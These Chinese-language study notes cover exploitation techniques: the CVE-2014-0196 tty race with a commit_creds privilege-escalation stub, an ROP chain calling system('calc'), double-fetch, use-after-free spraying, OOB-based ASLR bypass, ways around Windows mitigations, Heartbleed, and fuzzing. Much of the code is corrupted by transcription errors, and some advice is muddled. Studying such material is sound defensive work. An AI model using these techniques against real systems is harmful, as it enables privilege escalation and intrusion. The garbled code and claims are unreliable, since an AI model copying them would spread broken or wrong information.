- CVE-2014-0196攻击利用exploit
第一回合
:A,B两个进程(或线程)往同一
ttyy写入数据(没有加锁,导致竞争条件),正常情况是当buffer满
了(th->used=tb->sie)就会申请内存。- 但是由于A在
memepy
的时候速度很慢
(有时候内存读写速度慢或者被切换出去了,竞争条件漏洞利用不是每次都成功的,需要开启线程反复去尝试),拷贝中
或者拷贝完还没有来得及更新
th->used (+=space) - B就
开始执行并写入
,在计算剩余空间left=b->size - b->used
的时候,(由于used
没有及时更新,b->used<
b->size)就认为不需要新分配内存。(但实际上A已经往里面写了很多数据了) - A、B写完之后,
最终
都会更新
tb->used,最终会导致tb->used>
tb-> size。比如Sze:100,used为0, A写入80个,没有及时更新used,那么B来写50个,它觉得还有100可用,就直接写入。最后A,B更新used,造成used为130个,超过了100个。
- 但是由于A在
第二回合
:B继续写入
的时候,在申请内存计算空间的时候,有符号数left=b->size-
b-used,是负数
,在判断left<
size的时时候(有符号数和无符号数进行比较的时候会进行隐式转换
,统一转换无符号数),由于size是无符号数,left转化为无符号数进行比较,负数left大于size,所以都不会再分配内存
,在原内存处持续写入导致溢出。溢出利用
:创建一个溢出用的目标tty(0),然后连续打开30个tty。通过溢出目标tty可以修改后面tty的ops
结构,让其指向payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | struct tty_struct{ int magic; struct kref kref; struct device * dev; struct tty_driver * driver; const struct tty_operations * ops; / / 一组分发函数,处理读写等请求,通过溢出目标tty可以修改后面tty的ops结构,比如把读分发函数改成了payload(),当对tty发送读请求的时候,就会执行payload() / * ... * / struct tty_bufhead buf; / * Locked internally * / / * ... * / } / / / linux中的提权函数 int payload(void){ commit_creds(prepare_kernel_cred( 0 )) ; return 0 ; } |
漏洞常用利用技术
ROP面向返回编程(对抗DEP)
- ROP(Return-oriented programming )
- 对抗
DEP
(传统栈溢出cpu会拒绝执行栈上的代码) - 思路:在内存中(dll)搜索,找到相应的指令,再组合起来成为完整的
shellcode
指令序列1(ret1指向):pop r;
retq;
函数返回的时候会跳转到ret1所指向的指令去执行,rsp-8
,首先会把栈上rsp
指向的system addr
pop 到r
寄存器中,然后retq
(poprip
;此时栈上的rsp指向的是ret2
)就会跳转到ret2
指向的指令去执行
指令序列2(ret2指向);call r;
跳转到r寄存器
中的地址,即callsystem addr
eg:
1 2 3 4 5 6 7 8 9 10 11 | / / 触发system( "calc" ); / / 应该是 linux x64上AT&T汇编代码,x64地址是 48bit / / 先在libc中找到 2 个片段 / / libc:片段 2 : (ret2) 0x7ffff7a890b4 lea 0x120 ( % rsp), % rdi / / 把 "calc" 参数入栈 0x7ffff7a890bc call % rax / / system( "calc" ) / / libc:片段 1 : (ret1) 0x7ffff7a7e23a pop % rax / / (system addr) 把system()的地址放入rax寄存器中 0x7ffff7a7e23b pop % rbx / / (dummy1)没有用到的地址,随便填 0x7ffff7a7e23c pop % rbp / / (dummy2) / / 没有用到的地址,随便填 0x7ffff7a7e23d retq / / pop rip;此时栈上的rsp指向的是`ret2` |
通过溢出将栈覆盖为:
0x7ffff7a7e23a(ret1
,指向libc片段1)+ address of system
+dummy1 + dummy2 +
0x7ffff7a890b4(ret2
,指向libc:片段2)+dummy(0x120) +"calc"
利用现有的代码组装为病毒代码
- @todo 虽然绕过了cpu会拒绝执行栈上的代码的限制,还是没有绕过地址随机化,使用OOB绕开地址随机化
Double-fetch(刻舟求剑)
- 跟
竞争条件
漏洞一样也属于TOCTTOU
漏洞的一种 - 用户通常会通过调用内核函数完成特定功能,当内核函数
两次
从同一
用户内存地址读取同一
数据时,第一
次用来检查数据有效性
(例如验证指针是否为空
,缓冲区大小是否合适
等,第二
次才会真正使用数据。与此同时,另一个用户线程(flipping thread)通过创造竞争条件(race condition),在两次内核读取之间对用户数据进行修改(例如将数据长度变量变大
造成缓冲区溢出
等)。 - Double fetch漏洞可造成包括缓冲区溢出、信息泄露、空指针引用等后果,最终造成
内核崩溃
或者恶意提权
。 - Double fetch是个普遍性的问题,Windows,Linux, Android,FreeBSD等操作系统都存在此类问题,有的漏洞已经存在10年以上(CVE-2016-6480)。
- 大部分double fetch情况并不会造成double fetch漏洞,因为两次读取的数据
不一定
会被交叉
使用。 - 内核中有些数据使用情况会
不可避免
的引发double fetch,3个上主要场景:size checking, type selection, shallow copy(浅拷贝)。 大部分
的double fetch存在于驱动程序
中(63%)。Size checking场景最容易引发double fetch漏洞.eg:
- 函数ioctl_send_fib()两次通过copy_from_user()拷贝指针
arg
指向用户空间数据(分别为81和116行多。- 第一次只拷贝了消息头,并用消息头中的数据来计算缓冲区大小(第90行)检查数据的有效性(第93行)并根据计算结果来分配相应的缓冲区(第101行)。
- 第二次拷贝(第116行)则根据第一次获取的消息长度将完整消息拷贝进分配好的缓冲区中。注意此时指向内核缓冲区的指针变量
kifb
被再一次使用了
(第101行)。在第二次拷贝之后,新拷贝的消息头中的许多变量被再次使用(而它们可能已经被篡改
,例如第121和129行的kfib->header.Command。尤其是消息头中的长度变量
也被再一次使用(第130行),从而引发了一个double fetch
漏洞,因为恶意用户线程可能在两次拷贝之间篡改消息头中的长度变量kfib->header.size,使得第二次读取并使用的值远大于第一次分配的缓冲区大小。造成读
缓存区溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | / / Linux 4.5 中Adaptec RAID控制器驱动文件commctrl.c 60 static int ioctl_send_fib(struct aac_dev * dev, void _uscr * arg) 61 { 62 struct hw_fib * kfib; ... / / 第 1 次通过copy_from_user()拷贝指针`arg`指向用户空间数据到kfib中去 81 if (copy_from_user((void * )kfib,arg,sizeof(struct aac_fibhdr))){ / / 第一次只拷贝了消息头 82 aac_fib_free(fibptr); 83 refurn - EFAULT; 84 } ... / / 并用消息头中的数据来计算缓冲区大小 90 size = le16_to_cpu(kfib - >hcader.Size) + sizeof(struct aac_fibhdr); ... 93 if ((size > dev - >max_fib_size){ / / 检查数据的有效性 ... 101 kfib - pci_alloc_consistent(dev - >pdev, size, &daddr); / / 并根据计算结果来分配相应的缓冲区 ... 105 } / / 第 2 次通过copy_from_user()拷贝指针`arg`指向用户空间数据到kfib中去,中间存在时间差 116 if (copy_from_user(kfib,arg,size){ / / 根据第一次获取的消息长度将完整消息拷贝进分配好的缓冲区中,注意此时指向内核缓冲区的指针变量`kifb`被再一次使用了 117 retval = - EFAULT; 118 goto cleanup; 119 } ... 121 if (kfib - >header.Command = - cpu_to_le16(TakeA BreakPt)){ 122 aac_adapter_interrupt(dev); ... 127 kfib - >hcadcr.XferState = 0 ; 128 } else { / / 恶意用户线程可能在两次拷贝之间篡改消息头中的长度变量kfib - >header.size,使得第二次读取并使用的值远大于第一次分配的缓冲区大小。造成`读`缓存区溢出 129 rctval = aac_fib_scnd(le16_to_cpu(kfib - >hcadcr.Command),fibptr, 130 le16_to_cpu(kfib - >hcadcr.Size), FsaNormal, 131 1 , 1 ,NULL,NULL); ... 139 } ... 149 if (copy_to_user(arg,(void * )kfib,size)) 150 retval = - EFAULT; ... 160 } |
UAF(借尸还魂)
- UAF (Use-After-Free)
寻找
或生成
野指针生成
:引用计数多加或者少减,都会造成引用计数不为零,但内存已经释放了从而造成野指针。
- 占位:
- 在UAF对象被释放之后马上去分配—个相同大小的内存块,我们称这一步操作为
占位
- 占位的原理在于堆分配的机制,当一块堆内存被释放后出于
效率
的考虑会被保存在一些结构中以便于再次
的分配。占位就是利用这一点,通过分配相同大小
的堆内存试图重用
UAF对象的内存。为了成功实现占位,一般是多次
分配相同大小的内存以保证成功率。
- 在UAF对象被释放之后马上去分配—个相同大小的内存块,我们称这一步操作为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | / / / ackee struct Object1_struct{ int flag; void ( * func1)(); char message[ 256 ]; }OBJECT1; struct Object2_struct{ int flag; int flag2; char welcome[ 256 ]; }OBJECT1; pObject1 = (OBJECT1 * )malloc(sizeof(OBJECT1)); / / ..initialization... / / ... pass values... / / ... use ... free(pObject1); / / free之后,并没有没有把pObject1设为NULL,pObject1成为了野指针 ... pobject2 = ( 0B3ECT2 * ) malloc(sizeof(OBECT2)); ... if (pobject1 ! = NULL) pobject1 - >pfunc1(); / / pObject1 UAF,但调用func1的时候,其实已经是在指向 / / / attacker / / / 在多线程环境下,攻击者在Exploit中新建一个恶意线程频繁分配一个和OBJECT1一样的内存,系统为了优化,很可能会把刚才pObject1释放的内存分配给了恶意线程,往这块内存的func1放入shellcode地址。 |
未初始化漏洞(没喝孟婆汤)
- 未初始化指针:
释放
一个野指针
,导致崩溃重启,就可以获得smbd
运行权限,而smbd是以root
权限执行的导致权限提升
。 - 内存分配未初始化漏洞:指
分配
一块内存后未经初始化
就直接进行使用(可能是别人留下的恶意代码
,相当于将UAF反过来理解,来世投胎没喝孟婆汤
)恶意进程会先释放一些与之相同大小的已经布置好内容的内存,然后让未初始化对象来重用被释放的内存。OOB(可以用来对抗地址随机化)
- OOB ( out of bound)越界访问漏洞
- 越界访问,所谓的访问就是指越界读和越界写,比如堆溢出、整数溢出、类型混淆等都可以造成越界访问漏洞。
- 一般通过这种
OOB
漏洞可以在IE浏览器
中轻易的实现绕过ASLR
的保护 - 为什么获得
虚函数表地址
就可以bypassASLR
呢?- 因为对于C++程序来说
虚函数表
是被编译在全局数据段
的,就是说虚函数表
对于模块的基地址
的偏移是固定
的。我们通过泄漏的虚函数表的地址减去
偏移就可以知道对象所处的dll模块
的基地址
,也就可以使用这个模块中的工具指令。(通过基地址+偏移出其他指令的地址) - 所以无论程序做怎样的地址随机化,都可以通过
OOB
拿到模块的基地址
- 因为对于C++程序来说
- Peter Vreuadenhil通过内存布局把
BSTR
(字符串,size+"\x00\x00"
+data)布置在存在OOB的对象后面
,目标对象布置在BSTR
后面,目的是进行信息泄漏。- 比如: BSTR的结构由4字节的长度(size)域、2字节的结束符(\x00\x00)加上Unicode字符串构成。通过精心构造内存布局,使BSTR对象紧随漏洞对象的后面之后再在BSTR后面再放置目标对象,这样当触发漏洞对象发生越界访问的时候就可以覆盖掉BSTR结构的size域。
- 通过(前面的OOB的对象)越界写来改变
BSTR
的长度,实现了越界读
(比如把BSTR的size改大4Byte,即可越界解读到目标对象的vtbl,即虚函数表地址(首4个字节))。https://www.anquanke.com/post/id/85797 作者:Ox9A82
Windows系统安全机制
gs
- Security Cookie在Buff和返回地址之间,如果要覆盖返回地址,必然会覆盖Security Cookie,如果Security Cookie被修改了,操作系统就会认为产生了溢出,拒绝执行。
- gs-security cookie&变量重排
- 把Buff和i的位置重新排列,这样计算燃料的长度就会出错,不能准确覆盖返回地址了
可能突破gs的方法
- 1.未被保护的内存绕过(未大于4个字节的缓存默认时不开的)
1 2 3 4 5 6 7 | #pragma etrict_gs_check(on) //为下边的函数 int vulfuction(char * str ) { chararry[ 4 ]; strcpy(arry, str ); return 1 ; } |
- 2.覆盖虚函数突破GS(不影响Security Cookie)
- 3.SEH攻击突破GS(不影响Security Cookie)
- 4.替换COOKIE突破(把Security Cookie的遍历出来,覆盖的时候对Security Cookie的位置覆盖Security Cookie的值,这样Security Cookie也没有发生改变)
safeseh
- 操作系统和编译器双重支持
- 编译器启用该链接选项之后,编译器在编译程序的时候将把所有的
异常处理函数
地址提取出来,编入一张安全的S.E.H表
,并将这张表放到程序的映像里。当程序调用异常处理函数的时候会将函数地址与S.E.H表进行匹配
,检查调用的异常处理函数是否位于安全S.E.H表
中 - 操作系统:RtlDispatchException()->RtllsValidHandler()来对异常处理函数的有效性进行验证的。
- 在编译选项加上
/safeseh
打开 dumpbin /loadconfig
文件名可显示S.E.H表DEP-Data Execution Prevention
- DEP的基本原理是将
数据
所在内存页标识为不可执行
,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令
,此时CPU就会抛出异常
,而不是去执行恶意指令。避免了冯.诺依曼计算机不区分数据和代码的问题。 - 软件DEP,检测代码在可执行页上
- 硬件DEP,需要CPU支持。
- AMD叫No-Execute Rage-Protection(NX)
- Intel为Execute Disable Bit(XD)
- DEP工作状态:Optln,OptOut,AIwaysOn,AlwaysQff
- 1.
Optin
:默认仅将DEP保护应用于Windows系统组件
和服务
,对于其他程序不予保护,但用户可以通过应用程序兼容性工具(ACT, Application Compatibllity Toolkit)为选定的程序启用DEP
,在Vista下边经过/NXcompat选项编译过的程序将自动应用
DEP。这种模式可以被应用程序动态关闭,它多用于普通用户版
的操作系统,如Windows XP、Windows Vista、Windows7. - 2.
Optout
:为排除列表
程序外
的所有程序和服务启用DEP
,用户可以手动在排除列表中指定不启用DEP
保护的程序和服务。这种模式可以被应用程序动态关闭,它多用于服务器版
的操作系统,如Windows 2003、Windows 2008。
- 1.
- DEP的可攻击性
- 需要CPU支持
- 兼容问题导致不能对所有程序开启DEP
- /nxcompat选项只对
VISTA以上
系统有效 - DEP在optin和optout下可以动态开启和关闭
- ROP用来对抗DEP
地址随机化ASLR
- ASLR(Address, Space L ayout Randomization)
- 需编译器和操作系统双重支持
- 在编译选项加上
/dynamicbase
打开 - 映像随机化,堆栈随机化,PEB、TEB随机化
- 开启地址随机化之后,
JMP ESP
这种跳板指令的地址就不好确定了
- ASLR攻击
- SWHOP(Structured ExceptionHandling Overwrite Protection)的核心任务就是检查这条S.E.H链的
完整性
,在程序转入异常处理前SEHOP会检查S.E.H链上最后一个异常处理函数是否为系统固定的终极异常处理函数。- 如果是,则说明这条S.E.H链没有被破坏,程序可以去执行当前的异常处理函数;
- 如果检测到最后一个异常处理函数不是终极异常处理函数,则说明SE:H链被破坏,可能发生了S.E.H覆盖攻击,程序将不会去执行当前的异常处理函数。
- 打开SEHOP:
- SEHOP 在 Windows Ser ver 2008 默认启用,而在 Windows Vista 和 Windows 7 中 SEHOP默认是关闭的。可以通过以下两种方法启用 SEHOP。
- PEB基址: 0x7ffdf000,PEB random,xp sp2后,随机化。避免了DWORD shoot修改PEB中的函数指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | / / unsafe unlink: int remove(ListNode * node) { node - >blink - >flink = node - >flink; node - >flink - >blink = node - >blink; return 0 ; } / / safe unlink: int safe_unlink(ListNode * node)的 { if (node - >blink - >flink = = node&&node - >flink - >blink = = node) / / 判断fp和bp指针是否被覆盖,如果发生了堆溢出,fp和bp是被覆盖的 { node - >blink - >flink = node - >flink node - >flink - >blink = node - >blink; return 1 ; } else { return 0 ; } } |
程序员安全编码习惯
安全函数
- 不使用:strcat、strcpy、sprintf
- windows推荐使用:strncat、strncpy、snprintf,
- linux推荐使用:strcpy_s、strcat_s
1 2 3 4 5 | / / / 注意安全函数的传入的长度 strncpy(dst,src, len ); / / strlen / / 1. dst>src:strlen(src) 读多了,造成读溢出 / / 2. dst = = src:strlen(src) / / 3. dst<src:strlen(dst) - sizeof(char) / / 预留一个 '\0' 的位置,写多了,造成写溢出 |
下表概述了可以在内核驱动中使用的安全字符串函数,并指明了它们用来何种类型的c/c++运行库函数。
说明:函数名含有Cb的是以字节数为单位,含有Cch的是以字符数为单位。
函数名 | 作用 | 取代 |
---|---|---|
RtlStringCbCat RtlStringCbCatEx RtlStringCchCat RtlStringCchCatEx | 将源字符串连接到目的字符串的末尾 | strcat wcscat |
RtlStringCbCatN RtlStringCbCatNEx RtlStringCchCatN RtlStringCchCatNEx | 将源字符串指定数目的字符连接到目的字符串的末尾 | strncat wcsncat |
RtlStringCbCopy RtlStringCbCopyEx RtlStringCchCopy RtlStringCchCopyEx | 将源字符串拷贝到目的字符串 | strcpy wcscpy |
RtlStringCbCopyN RtlStringCbCopyNEx RtlStringCchCopyN RtlStringCchCopyNEx | 将源字符串指定数目的字符拷贝到目的字符串 | strncpy wcsncpy |
RtlStringCbLength RtlStringCchLength | 确定字符串的长度 | strlen wcslen |
RtlStringCbPrintf RtlStringCbPrintfEx RtlStringCchPrintf RtlStringCchPrintfEx | 格式化输出 | sprintf swprintf _snprintf _snwprintf |
RtlStringCbVPrintf RtlStringCbVPrintfEx RtlStringCchVPrintf RtlStringCchVPrintfEx | 可变格式化输出 | vsprintf vswprintf _vsnprintf _vsnwprintf |
各个函数的作用可以通过它所取代的
输入参数严格检查
- 长度,边界(数的溢出)和正负的检查
- 类型的检查
- NULL指针的检查
- 不要返回局部变量的指针和引用
数组首地址的区别
- 数组作为参数会退化成指针
- c[]数组首地址和&c都是数组
char c[] = "12345678";
的首地址,值相同,但类型不同- c:
char *const c
(常量指针),宽度不同,比如c+1就是+1个sizeof(char),即1个byte - &c:
char (*c)[9]
,&c+1就是+sizeof(char(*)[9]
),即9个byte
- c:
- 同理:char c2[9][9] ,c2和&2是数组的首地址,值相同,但类型不同
- c:
char *const (*c2)[9]
(常量指针),宽度不同,比如c2+1就是+1个sizeof(char(*)[9]
),即9个byte - &c:
char (*c2)[9]
,&c2+1就是+sizeof(char(*)[9][9]
),即81个byte
- c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | / / / 引用是C + + 的语法,gcc是编译通不过的,g + + 可以通过编译。 / / / 传指针 void fun(char c[]) / / 数组作为参数在函数内部会退化成指针 { printf( "%d\n" ,sizeof(c)); } / / / 传引用,引用就是实参的本身,形参c是实参 * c的别名,是对字符 '1' 的引用 void fun2(char &c) { printf( "%d\n" ,sizeof(c)); } / / / 传数组的引用,长度为 9 的字符数组的引用,就是实参c的本身 void fun3(char(&c)[ 9 ]) / / / 如果传入c[] = "1234567" ,就会类型不匹配导致编译报错,这个类型检查时在编译阶段进行的,这有什么用呢?可以在编译阶段就检查出溢出风险。这是最好的结果。 { printf( "%d\n" ,sizeof(c)); / / for ( int i = 0 ;i< 10 :i + + ) / / { / / ptintf( "%d\n" ,c[i]); / / c[ 9 ]就会发生溢出 / / } } int main() { char c[] = "12345678" ; printf( "%d\n" ,sizeof(c)); / / 打印是 9 fun(c); / / 打印是 4 fun2( * c); / / c是常量指针, * c是指第一个元素的值,即 '1' ,所以打印的是 1 fun3(c); / / 打印是 9 return 0 ; } |
不要返回局部变量的指针和引用
- 传值不能改变实参,传指针和传引用才能改变实参
- 传
指针
和传引用``效率
比传值要高
。因为传指针和传引用都只是把地址
传递给函数,这个过程,只涉及到4
个(8
个,X64)字节的传输。传值,会随着实参的类型不同,有时候不止
传递或者拷贝4个字节。(比如内核的结构体
可以达到上千个Byte,对于C++对象
如果是传值
的话不止时值的拷贝,还有一个构造函数
的性能消耗,所以有时候不需要修改
形参的值也是需要传指针
或者传引用
) - 传
引用
比传指针
更安全
- 因为引用一旦初始化,就固定了,不能改变;
- 传引用比传指针
简单
。写起来简单 - 传引用既有传指针的高效,又有传指针的安全,又有传值的方便。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | / / / 要分清以下这些概念,判断标准是以实参为准,即在调用时候关注传入实参的格式,不要被调用的函数定义的形参格式混淆了 / / 传值:形参对实参值的一个拷贝,形参和实参是不相关的。无法通过改变形参来改变实参。 / / 传指针:形参是对实参地址的一个拷贝,通过地址可以实现对实参的修改 / / 传引用:形参是对实参(本身)的一个引用(别名) / / 传指针的指针:void func1 (char * * p) / / 传指针的引用:void func2(char * &p) / / / 返回指针,是局部变量的地址,能通过编译,但程序执行会出问题 char * func(void) / / err { char c = 'x' ; return &c; / / 返回一个地址,变量c是存放在栈上的局部变量区域,函数结束后栈就被销毁了,函数外再通过返回的地址去访问被销毁的内存就是无效内存 } / / / 返回引用,是局部变量的地址,能通过编译,但程序执行会出问题 char &func(void) / / err { char c = 'x' ; return c; / / 返回一个地址,变量c是存放在栈上的局部变量区域,函数结束后栈就被销毁了,函数外再通过返回的地址去访问被销毁的内存就是无效内存 } / / / 返回值,是局部变量的值 char func(void) / / ok { char c = 'x' ; return c; / / 返回值,存在一个拷贝过程,把c的值拷贝出去了,值已经拿到了,即使函数结束后栈就被销毁了也没有影响 } / / / 返回一个指针,但是是堆上的地址,这样虽然可以但很可能忘记释放导致堆上的内存泄漏,一定要使用的话,要使用智能指针或者引用计数 char * func(void) / / ok { char * c = (char * )malloc( 100 ); / / 堆上的内存不会随着函数的结束而销毁,这里是没问题的 } |
类型检查
- C++内置的运行时类型检查机制RTTI (Run-Time Type Information) ,RTTI允许使用两个操作符:
typeid
与dynamic_cast
。- 用RTTI解决上述问题的第一种方法是使用
typeid
,它返回一个对type_ info对象的引用
,其保存了传递进来
的对象类型信息
。 dynamic_cast
,如果你传递给它一个所不期望类型的指针,它将返回0。
- 用RTTI解决上述问题的第一种方法是使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | class Animal {public: virtual~Animal(){}}; class Dog : public Animal{}; class Cat : public Animal{}; / / 方式 1 :使用typeid来进行类型检查 const type_info& ti = typeid( * pAnimal); if (ti = = typeid(Dog)) {} else if (ti = = typeid(Cat) {} / / 方式 2 :使用dynamic_cast来进行类型检查 if (dynamic_cast<Dog * >(pAnimal)) {} else if (dynamic_cast<Cat * >(pAnimal)) {} |
留心长度为 0 的缓存、为 NULL 的缓存指针和缓存对齐
- a.长度为 0:
内存校验函数ProbeForRead
和ProbeForWrite
函数当 ProbeForXXX 的参数Length
为0
时, 这两个函数都不会做任何工作,连微软都犯过错。
- 使当你 ProbeForRead 验证了参数,一样要当心 Length 为 0 时的情况常见错误:
当 Len=0 时,这样的函数会导致系统崩溃。
- 使当你 ProbeForRead 验证了参数,一样要当心 Length 为 0 时的情况常见错误:
1 2 3 4 5 6 7 8 9 10 11 | __try{ / / / (内存地址,长度,对齐方式) / / / @warning 如果攻击者传一个内核态的地址下来,同时将 len 设为 0 , / / / 就会轻易地绕开函数的检查,我们设置的保护就不起作用了 ProbeForRead(Str1, Len ,sizeof(WCHAR)); if (wcsnicmp(Str1,Str2,wcslen(Str2)) { .... } } __except(EXECUTE_HANDLER_EXCEPTION) { .... } |
- 需要注意,对于长度为
0
的缓存
不能随意放行, 因为系统可能接受长度为 0 的缓存参数做特殊用途
, 比如: 对于 ObjectAttributes->ObjectName (内核对象的名字)的 Length, 如果为0
, 系统会以对应的参数
打开 ObjectAttributes->RootDirectory 的句柄(即是接受长度为0的情况的), 攻击者可以先以低权限
(比如只能读不能写)得到一个受保护
对象的句柄(比如可写可读),再以长度为 0 的缓存,将句柄填入RootDirectory
来获取高权限的句柄(先把只读
的句柄填入RootDirectory,再重新调用一个函数,把长度为 0 设为零,系统就会去打开RootDirectory,这时候被修改的RootDirectory句柄可能就是可读写
的句柄了)。造成提权漏洞
- 需要注意,对于长度为
- b.缓存指针为空:
不要使用诸如下面的代码来判断用户态参数:
1 2 3 4 5 6 7 | / / / @warnig buffer = = NULL 并不能代表是个无效内存 / / / Windows操作系统是允许用户态申请一个地址为 0 的内存的,攻击者可以利用这个特性来绕过检查和保护。 / / / win8及以上版本系统微软已经封杀了这个漏洞 if (UserBuffer = = NULL) { goto pass_request; } |
- c.缓存对齐的问题:
ProbeForRead 的第三个参数 Alig 即对齐, 如果没有正确地传递这个函数, 也会导致问题,例如对于 ObjectAttributes ,系统默认按 1 来对齐,如果在对其参数处理中使用 sizeof(ULONG)来对齐,就会对本来可以使用的参数引发异常,绕过保护或检查。长度校验的例子:心脏流血漏洞
- 该漏洞主要是内存泄露问题,而根本上是因为
OpenSSL
(开源网络加密协议,电商,银行都在使用)服务端在处理心跳请求包
(tcp为了保持连接状态,有个心跳协议,定时发送一个数据包,判断是否回复,来判断是否掉线)时,没有
对客户端发送过来的length字段(占2byte,可以标识的数据长度为64KB)做合规检测
。 - 当服务器端生成
心跳响应包
发送给客户端时,直接
用了客户端发送过来的length
,将服务端栈上大于
实际长度的数据(栈上的数据很可能是解密后的结果,把这些数据存储起来进行数据挖掘分析,提取出用户名和密码等)发送给了客户端。
1 2 3 4 5 6 7 8 9 10 11 12 | / / / 服务端 unsigned char * p = &s - >s3 - >rfec.data[ 0 ]; / / (心跳类型( 1Byte ) + 心跳长度( 2Byte ) + 数据) hbtype = * p + + ; / / 第一个字节是心跳类型,由于运算符【 * 】的优先级高于运算符【 + + 】,所以是先取指针p指向的地址单元的数据,p再指向下一位置的数据。 n2s(p,payload); / / n2s(net to short)把网络字节序转换成本地字节序,p指向第二、三个字节是客户端要求服务器端返回数据的字节数,转化后存在payload,这个没有检查长度有效性 pl = p; / / 此处是回传数据(发给客户端的)的起始位置(心跳类型( 1Byte ) + 心跳长度( 2Byte ) + 数据) buffer = OPENSSL_ malloc( 1 + 2 + payload + padding); / / 分配回传的内存,客户端要求服务器端返回数据的字节数payload,没有检查长度有效性,直接为其分配这么palyload这么大的内存 bp = buffer ; / / bp指向分配的回传内存 * bp + + = TLS1_HB_ESPONSE, / / 回传的 buffer 第 1 个字节设置心跳类型response s2n(payload, bp); / / s2n(short to net)把本地字节序转换成网络字节序,回传的字节数,没做任何检查,直接返回payload memcpy(bp,pl,payload); / / 内存泄露,数据泄露了payload被客户端故意传了个最大值 64K bp + = payload; |
Fuzz漏洞挖掘
Fuzz
这个名词来自于Professor Barton Miller。在1989年一个风雨交加的夜晚,他登陆一台自己的主机,不知道怎么回事,信旁通过猫传到主机上,雷电一闪,把里面的高位变低位,低位至高位了,结果到了主机以后改变了。他突发奇想,把这种方式作为一种测试的方式来做。- 用大量的测试用例一个一个试(产生大量
畸形
数据触发溢出
就会导致程序奔溃,Fuzz工具记录下这些出现奔溃位置),尽可能多的找出有可能出问题的地方。 - 现在有无数有名的Fuzz工具,有很多人很多还在写,一般包括
四
个部分。- 1.Generate lots of malformed data as test cases,要生成大量的测试用例。这个测试用例是
malformed
的,一个软件首先要找到输入点
,然后把数据丢进去
,这个数据有可能是一个文件
,有可能是一个数据包
,有可能是测试表
里面的一个项,有可能是临时文件
里面的一个东西,总之是一种数据,要定义malformed这种非正常的数据. - 2.Drop the test cases into product,把它丢进去,看这个产品怎么反应。
- 3.Monitor and log any crash/exception triggered by malicious input. 把异常记录下来
- 4.Review the test log, investigated deeply.
- 1.Generate lots of malformed data as test cases,要生成大量的测试用例。这个测试用例是
- 测试人员需要实时地捕捉目标程序抛出的异常、发生的崩溃和寄存器等信息,综合判断这些错误是不是真正的可利用漏洞。
漏洞挖掘流程
- Fuzz工具崩溃程序
- 调试分析异常和崩溃位置(windbg,ollydbg,ida,汇编代码)
- 匹配漏洞的类型
- Exploit it.
- Poc 代码发布
Fuzz工具分类
- Active X Fuzz:Com Raidor
- Fuzz网络协议:SPIKE
- 文件类型漏洞:Smart Fuzz工具-peach
- 文件类型漏洞:blindFuz工具-filefuzz
- Ftp Fuzz:FTPFUZZ
- 内核漏洞:ToControl Fuzz-
ioctl _fuzzer
- ToControl Fuzz-
ioctl _fuzzer
-MITM
- Man-in-the-MiddleAttack,所谓的
MITM
攻击就是通过拦截正常的通信数据。并进行数据篡改和嗅探,而通信的双方却毫不知情。 - 通过hook
DeviceIocontrol
来实现的 - XLM配置Fuzz的驱动名字,设备对象,控制码,进程等
- Man-in-the-MiddleAttack,所谓的
- Digtool&bochspwn-基于硬件虚拟化
Bochspwn
被认为是Gogle P0团队(Project Zero)的内核零日漏洞挖掘神器。和其它辅助分析工具相比,Bochspwn在操作系统下层(VT)监听内存变化,能发现更全面的错误异常信息(操作系统出现异常都会被VT捕获),因此也更容易找到漏洞。- 在Bochspwn之后,业内其它团队也有尝试开发基于虚拟化技术的Windows内核漏洞挖掘工具,不过有成效的不多一360冰刃实验室的
DigTool
算是里边的佼佼者。DigTool利用硬件虚拟化技术监控内存错误数据了在功能验证阶段已经找出20个Windows内核漏洞、41个杀毒厂商驱动漏洞。 Digtool
是第一款利用硬件虚拟化技术的实用化自动漏洞挖掘系统也是款”黑盒漏洞挖掘系统,不需要基于源码即可完成漏洞挖掘更惊艳的一点是,Digtool以实现自动化、批量化工作,可能只需要跑一局游戏,十几个漏洞就挖到了
。- Digtool的工作流程就像
挖沙淘金
一样: - 首先,Digtool可以记录内存访问这就实现了第1步
挖沙
的过程;进而,,Digtool的分析模块进行分析,一旦符合主要的六种漏洞行为特征规则,便实现了一次淘金
,也就意味着找到一个漏洞。 - PJF搭建了Digtool系统的虚拟化挖掘框架,这也是Digtool最具技术含量的部分,相当于整个系统的基石。其虚拟机监控器原理类似于当前主流的云服务基础虚拟化框架(如EN/Hyperv等);并不依赖它们,而是一个新的虚拟化基础框架。
- 在最近的Blackhat演讲中,Google project zero的成员j00ru就引用了冰刃实验室Digtool自动化挖掘Windows内核信息泄漏漏洞的方法。
- 《windows Internals》的作者之Alex Ionescu也称赞这是一 个"很棒的项目”。冰刃实验室与j00ru用了不同的技巧都挖掘到了大量的windows内核信息泄露漏洞,但冰刃买验室的igtool速度更快,对于系统的性能损失更小,同时检测漏洞种类也更全面Windows内核漏洞挖掘有了质的飞跃。以往的人工挖掘耗时耗研究员需要一行一行分析代码,Digtool系统大大提高了漏洞挖掘的自动化程度,改变了漏洞挖掘的运作模式,同时也提高了速度和精准度,能够在第一现场发现漏洞。
- POC还得自己写
FUZZ原理小例子
1 2 3 4 5 6 7 8 9 10 | / / / 编译对应的程序test.exe void func(char * str ) { char buff[ 10 ]; strepy(buff, str ); } int main( int argc,char * argv[]) func(argv[ 1 ]); return 0 ; } |
